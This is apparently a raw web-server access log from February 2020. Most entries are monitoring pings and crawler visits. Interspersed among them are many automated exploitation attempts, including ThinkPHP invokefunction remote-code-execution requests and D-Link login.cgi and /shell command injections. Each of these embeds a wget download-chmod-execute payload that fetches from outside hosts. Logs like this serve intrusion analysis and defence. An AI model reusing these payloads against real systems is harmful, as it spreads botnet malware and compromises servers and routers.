42.117.15.213 - - [07/Feb/2020:23:17:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:20:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:21:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:23:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.26.25 - - [07/Feb/2020:23:24:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:24:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:25:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.214.232.22 - - [07/Feb/2020:23:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [07/Feb/2020:23:26:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.148.249.77 - - [07/Feb/2020:23:27:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.117.29.12 - - [07/Feb/2020:23:27:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [07/Feb/2020:23:28:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [07/Feb/2020:23:28:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.6.105 - - [07/Feb/2020:23:29:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.226 - - [07/Feb/2020:23:29:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
125.128.241.71 - - [07/Feb/2020:23:29:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
63.143.35.226 - - [07/Feb/2020:23:29:34 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
125.128.241.71 - - [07/Feb/2020:23:29:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:23:29:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [07/Feb/2020:23:29:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [07/Feb/2020:23:29:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [07/Feb/2020:23:30:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:23:30:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [07/Feb/2020:23:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
190.245.248.177 - - [07/Feb/2020:23:31:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:23:31:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:33:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.44.221 - - [07/Feb/2020:23:34:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:34:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:35:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:36:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.55.23.157 - - [07/Feb/2020:23:37:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
76.79.115.190 - - [07/Feb/2020:23:38:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:23:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:39:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.183.199.40 - - [07/Feb/2020:23:40:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:23:40:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:42:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:43:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.215.128.98 - - [07/Feb/2020:23:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
39.135.1.160 - - [07/Feb/2020:23:43:48 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:23:43:48 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:23:43:50 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:23:43:50 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:23:43:51 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:23:43:51 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:23:43:51 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:23:43:52 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [07/Feb/2020:23:43:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [07/Feb/2020:23:44:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.213.16 - - [07/Feb/2020:23:45:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:46:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:47:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:48:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.246.127 - - [07/Feb/2020:23:48:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:49:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.148.46.222 - - [07/Feb/2020:23:50:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:50:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.99.222 - - [07/Feb/2020:23:52:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:52:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:53:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:54:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.132.56.89 - - [07/Feb/2020:23:54:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:23:55:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:56:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.98.181.131 - - [07/Feb/2020:23:57:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:23:57:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:23:58:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.205.69.181 - - [07/Feb/2020:23:59:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:23:59:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.138.75.107 - - [08/Feb/2020:00:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [08/Feb/2020:00:00:27 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [08/Feb/2020:00:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [08/Feb/2020:00:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
85.25.177.187 - - [08/Feb/2020:00:02:50 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.177.187 - - [08/Feb/2020:00:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
91.203.193.47 - - [08/Feb/2020:00:04:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.23.209.181 - - [08/Feb/2020:00:06:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.7.50.44 - - [08/Feb/2020:00:08:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
85.25.177.187 - - [08/Feb/2020:00:12:12 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.177.187 - - [08/Feb/2020:00:12:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
151.226.25.182 - - [08/Feb/2020:00:14:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.54.185.223 - - [08/Feb/2020:00:20:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.82.70.118 - - [08/Feb/2020:00:21:03 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
223.149.241.42 - - [08/Feb/2020:00:21:57 +0100] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 319 "-" "Hello, World"
80.82.70.118 - - [08/Feb/2020:00:22:46 +0100] "\x16\x03\x02\x01o\x01" 501 321 "-" "-"
191.100.8.136 - - [08/Feb/2020:00:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
49.68.246.198 - - [08/Feb/2020:00:26:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
2.132.212.236 - - [08/Feb/2020:00:27:50 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
2.134.170.31 - - [08/Feb/2020:00:28:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.194.198.44 - - [08/Feb/2020:00:29:33 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [08/Feb/2020:00:29:33 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [08/Feb/2020:00:29:38 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [08/Feb/2020:00:29:38 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [08/Feb/2020:00:29:39 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [08/Feb/2020:00:29:39 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [08/Feb/2020:00:29:39 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [08/Feb/2020:00:29:40 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [08/Feb/2020:00:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
85.25.177.187 - - [08/Feb/2020:00:29:42 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
85.25.177.187 - - [08/Feb/2020:00:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; adscanner/)/1.0 (http://seocompany.store; spider@seocompany.store)"
212.85.91.19 - - [08/Feb/2020:00:30:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.243.119 - - [08/Feb/2020:00:30:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.215.220.184 - - [08/Feb/2020:00:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
93.148.249.77 - - [08/Feb/2020:00:35:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.80.223.137 - - [08/Feb/2020:00:37:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.142.221 - - [08/Feb/2020:00:39:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.41.248.150 - - [08/Feb/2020:00:39:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.55.71.171 - - [08/Feb/2020:00:41:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.183.123.158 - - [08/Feb/2020:00:41:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.58.102.193 - - [08/Feb/2020:00:47:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.235.193.249 - - [08/Feb/2020:00:48:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
151.235.193.249 - - [08/Feb/2020:00:49:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
176.221.46.86 - - [08/Feb/2020:00:50:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.34.166 - - [08/Feb/2020:00:51:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
